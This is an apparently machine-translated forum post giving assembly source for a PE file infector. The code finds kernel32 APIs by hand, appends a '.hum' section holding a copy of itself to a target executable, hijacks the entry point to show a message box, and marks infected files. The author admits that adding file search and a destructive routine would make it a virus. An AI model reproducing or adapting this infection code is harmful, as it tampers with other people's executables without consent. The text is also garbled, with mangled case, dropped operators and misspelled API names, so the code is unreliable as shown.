I have written a small program that modifies PE, mainly the concept of demonstration and practical PE operation and relocation. It is really nothing to see, you will see that the PE file is actually very simple! Of course, first Well to have a preparation for my garbage code to make Yaxing.
This is the method of manually finding the API here. This thing modifies PE and finally adds a section, the name '.hum', the additional program will display a MSGBox to display some information, You can use the software that breaks yourself to a so-called copyright information (I am the most hateful .... This! I am bored), of course, other operations can also be implemented, in fact, coupled with file search function and destructive example Cheng, this will be a simplest virus ...
This example is not optimized, and there is no structure. It is interested in seeing it. There are still some redundancy, not interested. Compile to join the /sext: Tote ,RWE option. The default operation is in the same directory SC.EXE (HeH .., My Starcraft). Remember, the PE file is actually very simple, as long as you look patiently. Note: Although it is used by Virus, it is not a virus ...
.586 .Model flat, stdcall option, stdcall option, c: / hd/mac.h
;;; --------------
Getapia Proto: DWORD,: DWORD
;; -------------- .code viruslen = vend-vbegin; Virus Length vbegin:; --------------------- -------------------- Include S_API.ASM; find the required API address; ------------------- ----------------------
Desfile DB "sc.exe", 0 fsize dd? hfile dd? hmap dd? PMEM DD?; ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ------------- PE_HE_HE_ADER DD? SEC_ALIGN DD? FILE_ALIGN DD? NEWEIP DD? Oldeip DD? INC_SIZE DD? Oldend DD?; --------------- ----------------------------
SMESSAGEBOXA DB "MessageBoxa", 0
AMessageBoxa DD 0
; Temporary variable ... SZTIT DB "BY HUME, 2002", 0 Szmsg0 DB "Hey, Hope U Enjoy It!", 0 Copyright DB "The Software Was Offerred By Hume [AFO]", 0DH, 0AH DB "THX For use it! ", 0DH, 0AH DB" Contact: humewen@21cn.com ", 0DH, 0AH DB" humeasm.yeah.net ", 0DH, 0AH DB" The add code size: (hex) "
Val DD 0, 0, 0, 0 ;; --------------------------------------- -
__Start: call _gd _gd: POP EBP; get Delta Address Sub EBP, Offset _GD; Because the base address in other programs may not be default, the MOV DWORD PTR [EBP AppBase], EBP; huh, I think about MOV EAX , [ESP]; return address xor edx, edx getk32base: DEC EAX; by-byte comparison verification MOV DX, Word PTR [Eax Image_DOS_HEADER.E_LFANEW]; ECX 3CH TEST DX, 0F000H; DOS Header Stub is not possible Big, more than 4096Byte jnz getk32base; Acceleration test CMP EAX, DWORD PTR [EAX EDX Image_NT_HEADERS.OPTIONALHEADER.IMAGEBASE] jnz getk32base; see if the image_base value is equal to ECX, the module start value, MOV [EBP K32BASE], EAX; if Yes, I think it is considered to find the Base value of kernel32 Lea EDI, [EBP AGETMODULEHANDLE] LEA ESI, [EBP LPAPIADDRS] LOP_GET: LODSD CMP EAX, 0 JZ End_Get Add Eax, EBP PUSH EAX PUSH DWORD PTR [EBP K32BA Se] Call getapia stosd jmp lop_get; get an API address, see S_API file
END_GET: CALL MY_INFECT
INCLUDE Dislen.ASM; ---------------------------------------- COULDNOTINFECT:
__where: xor eax, Eax; Judgment is already attached, flag 'drows' push eax call [ebp agetmodulehandle] MOV ESI, ESI, ESI 3CH]; -> ESI-> program itself PE_HEADER CMP DWORD PTR [ESI 8], 'Dark' JEMP_OEP
JMP __XIT; Exit Launch Program JMP_OEP: Add Eax, [EBP Oldeip] JMP EAX; jump to the entry point my_infect:; infection part, file read and write operation, PE file modification See modipe.asm file xor Eax, EAX PUSH EAX PUSH EAX PUSH OPEN_EXISTING PUSH EAX PUSH EAX PUSH Generic_Read Generic_Write Lea Eax, [EBP Desfile] Push Eax Call [EBP AcReateFile]; Open Target File Inc Eax JE __ERR
Dec EAX MOV [EBP HFILE], EAX PUSH EAX
Sub EBX, EBX PUSH EBX PUSH EAX; Get file size call [EBP AGETFILESIZE] INC EAX JE __SCLOSEFILE DEC EAX MOV [EBP FSIZE], EAX XCHG EAX, ECX Add ECX, 1000H; file size increases ... 4096 POP EAX
xor ebx, ebx; create a mapping file push ebx push ecx; file size is equal to the original size Vsize push ebx push PAGE_READWRITE push ebx push eax call [ebp aCreateFileMapping] test eax, eax je __sclosefile mov [ebp hMap], eax; Create Success? XOR EBX, EBX PUSH EBX PUSH EBX PUSH EBX PUSH FILE_MAP_WRITE PUSH EAX CALL [EBP AMAPVIEWOFFILE] TEST EAX, EAX JE __SCLOSEMAP; mapping file, is it successful? MOV [EBP PMEM], EAX; ----- ---------------------------------------; The following is modify part, add new section; -------------------------------------------- Include Modipe.asm
__sunview: push [ebp pMem] call [ebp aUnmapViewOfFile] __sclosemap: push [ebp hMap] call [ebp aCloseHandle] __sclosefile: push [ebp hfile] call [ebp aCloseHandle] __Err :: ret; --- -------------------------------------- __Xit: Push 0 Call [EBP AEXITPROCESS] VEND: ; -----------------------------------------
END __START ;; =============================================== ;; S_API.ASM ;; Manual Find API section
K32_API_RETRIEVE PROC BASE: DWORD, SAPI: DWORD
Push EDX; save EDX XOR Eax, ESI = SAPI next_api:; edi = addressofnames MOV ESI, SAPI XOR Edx, Edx Dec Edx Match_API_Name: Movzx EBX, Byte Ptr [ESI] Inc ESI CMP EBX, 0 JE Foundit
Inc EDX
Push Eax Mov Eax, [EDI EAX * 4]; AddRessofNames pointer, incrementing add eax, base; Note is RVA, must add base value Cmp BL, Byte PTR [Eax EDX]; Character comparison POP EAX JE match_api_name Continue to search for Inc EAX; do not match, the next API loop next_api no_exist: Pop Edx; if all the search, there is no xor eax, Eax Ret Foundit: Pop Edx; edx = addressofnameordinals; * 2 Get addressofnameordinals pointer Movzx Eax, Word PTR [EDX EAX * 2]; EAX Returns pointer RET K32_API_RETRIEVE ENDP to Addressoffunctions; ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ----------- Getapia Proc Base: DWORD, SAPI: DWORD LOCAL Addroffun: DWORD PUSHAD MOV ESI, Base Mov Es, ESI MOV EBX, EAX MOV ECX, ED MOV EDX, EAX MOV EDI, ED; ALL IS BASE!
Add ECX, [ECX 3CH]; now ESI = OFF PE_HE_HEADER
Add ESI, [ECX 78H]; get ESI = image_export_directory entry add Eax, [ESI 1CH]; EAX = AddRessoffunctions address MOV Addroffun, EAX MOV ECX, [ESI 18H]; ECX = NumberOfnames
Add Edx, [ESI 24h]; EDX = AddressOfNameRinals
Add Edi, [ESI 20H]; ESI = AddressOfnames
INVOKE K32_API_RETRIEVE, BASE, SAPI
MOV EBX, Addroffun MOV EAX, [EBX EAX * 4]; to get offset * 4
Add Eax, Base; Plus Base! MOV [ESP 7 * 4], EAX; EAX Returns API Address Popad Ret getapia Endpu32 DB "User32.dll", 0 K32 DB "kernel32.dll", 0
AppBase DD? K32Base DD? ;; ---------------------------------------- APIS NEEDEDEDEDEDED
lpApiAddrs label near dd offset sGetModuleHandle dd offset sGetProcAddress dd offset sLoadLibrary dd offset sCreateFile dd offset sCreateFileMapping dd offset sMapViewOfFile dd offset sUnmapViewOfFile dd offset sCloseHandle dd offset sGetFileSize dd offset sSetEndOfFile dd offset sSetFilePointer
DD Offset SexitProcess DD 0,0
sGetModuleHandle db "GetModuleHandleA", 0 sGetProcAddress db "GetProcAddress", 0 sLoadLibrary db "LoadLibraryA", 0 sCreateFile db "CreateFileA", 0 sCreateFileMapping db "CreateFileMappingA", 0 sMapViewOfFile db "MapViewOfFile", 0 sUnmapViewOfFile db "UnmapViewOfFile", 0 sCloseHandle DB "CloseHandle", 0 sgetfilesize db "getfilesize", 0 ssetfilepointer db "setfilepointer", 0 ssendoffile db "setndoffile", 0
SexitProcess DB "EXIXTPROCESS", 0
aGetModuleHandle dd 0 aGetProcAddress dd 0 aLoadLibrary dd 0 aCreateFile dd 0 aCreateFileMapping dd 0 aMapViewOfFile dd 0 aUnmapViewOfFile dd 0 aCloseHandle dd 0 aGetFileSize dd 0 aSetFilePointer dd 0 aSetEndOfFile dd 0aExitProcess dd 0; -------------- --------------------------- ;; ===================== === mode.asm ==================; modify PE, add festival, implement infection
Xchg Eax, ESI CMP WORD PTR [ESI], 'ZM' JNE COULDNOTINFECT ADD ESI, [ESI 3CH]; point to PE_HE_HEADER CMP WORD PTR [ESI], 'EP' JNE COULDNOTINFECT; whether it is PE, otherwise it is not infected with CMP DWORD PTR [ESI 8], 'DARK' JE COULDNOTINFECT MOV [EBP PE_HEADER], ESI; save the PE_HEADER pointer
MOV ECX, [ESI 74H]; Get Directory's number of Imul ECX, ECX, 8
Lea Eax, [ECX ESI 78H]; Data Directory Eax-> Section Table start address MOVZX ECX, Word PTR [ESI 6H]; Number of Imul ECX, ECX, 28h ECX; section tail ... Xchg Eax, ESI; Eax-> PE_HE_HEADER, ESI-> final section begins offset
; ************************** ;; Add the following structure: ;; name .hum ;; virtualsize == Original Size Virsize ;; VirtualAddress = ;; SizeOfRawData aligned ;; PointerToRawData ;; PointerToRelocations dd 0 ;; PointerToLinenumbers dd? ;; NumberOfRelocations dw? ;; NumberOfLinenumbers dw? ;; Characteristics dd? ;; ************** ************ MOV DWORD PTR [ESI], 'Muh.'; Section. Hum Mov DWORD PTR [ESI 8], Viruslen; actual size; calculate Virtualsize and V.Addr MOV EBX [EAX 38H]; SectionAlignment MOV [EBP SEC_ALIGN], EBX MOV EDI, [EAX 3CH]; File Align MoV [EBP File_Align], EDI MOV ECX, [ESI-40 0CH]; the previous section V.addr MOV EAX, [ESI-40 8]; the actual size of the previous section XOR EDX, EDX DIV EBX; divide the Test EDX, EDX JE @@@ 1 Inc EAX @@@ 1: Mul EBX; The sum of the rear section of the tongue, ECX; plus V.Addr is the start of the new festival V.Addr MOV [ESI 0CH], EAX; save new Section offset RVA Add Eax, __ start-vbegin MOV [EBP NEWEIP], EAX; calculate new EIP
MOV DWORD PTR [ESI 24H], 0E0000020H; Property
MOV EAX, Viruslen; Calculate SizeOfrawData's size CDQ Div EDI; section of the file aligned JE @@@ 2 Inc Eax @@@ 2: Mul Edi MoV DWORD PTR [ESI 10H], EAX; save the size of the section alignment file
MOV EAX, [ESI-40 14H] Add Eax, [ESI 40 10H] MOV [ESI 14H], EAX; PointertorawData update MOV [EBP Oldend], EAX; final file is added to ...?
MOV EAX, [EBP PE_HEADER] Inc Word PTR [EAX 6H]; update section number MOV EBX, [EAX 28H]; EIP pointer offset MOV [EBP OLDEIP], EBX; save old pointer MOV EBX, [EBP newEip] MOV [EAX 28H], EBX; Update Packed Value; Comment $ MOV EBX, [EAX 50H]; Update ImageSize Add EBX, Viruslen Mov ECX, [EBP Sec_Align] XOR EDX, EDX XCHG EAX, EBX; after Paul updated; mul ecx xchg eax, ebx; reduction eax-> pe_Header mov [eax 50h], ebx: eax and ebx exchange ... cdq div ecx test edx, edx je @@@ 3 inc eax @@@ 3 Image_size size; $ MOV DWORD PTR [EAX 8], 'Dark' CLD; Write MOV ECX, Viruslen Mov EDI, [EBP Oldend] Add Edi, [EBP PMEM] Lea ESI, [EBP VBEGIN] REP Movsb; writing file, all is ok! xor Eax, EAX SUB EDI, [EBP PMEM]
Push File_Begin Push Eax Push EDI PUSH [EBP HFILE] CALL [EBP ASETFILEPOINTER]
Push [EBP HFILE] CALL [EBP ASETENDOFFILE]; ==================================== Dislen.asm Lea Eax, [EBP U32] Push EAX Call DWORD PTR [EBP ALOADLIBRARY] TEST EAX, EAX JNZ @ G1 @ G1: Lea Edx, [EBP SMESSAGEBOXA] Push Edx Push Eax Mov Eax, DWORD PTR [EBP AGETPROCADDRESS] CALL EAX MOV [EBP AMessageBoxa], EAX
; ----------------------------------------- Mov EBX, Viruslen Mov ECX, 8 CLD LEA EDI, [EBP VAL] L1: ROL EBX, 4 Call Bintoascii Loop L1PUSH 40H 1000H Lea Eax, [EBP SZTIT] Push Eax Lea Eax, [EBP COPYRIGHT] PUSH EAX PUSH 0 CALL [EBP AMESSAGEBOXA]
JMP __where; -----------------------------------------
Bintoascii Proc Near Mov Eax, EBX AND Eax, 0fh Add Al, 30H CMP Al, 39h Jbe @f Add Al, 7 @@: Stosb Ret Bintoasci Endp; ------------------------------------------------------------------ ------------ OVER ----- by hume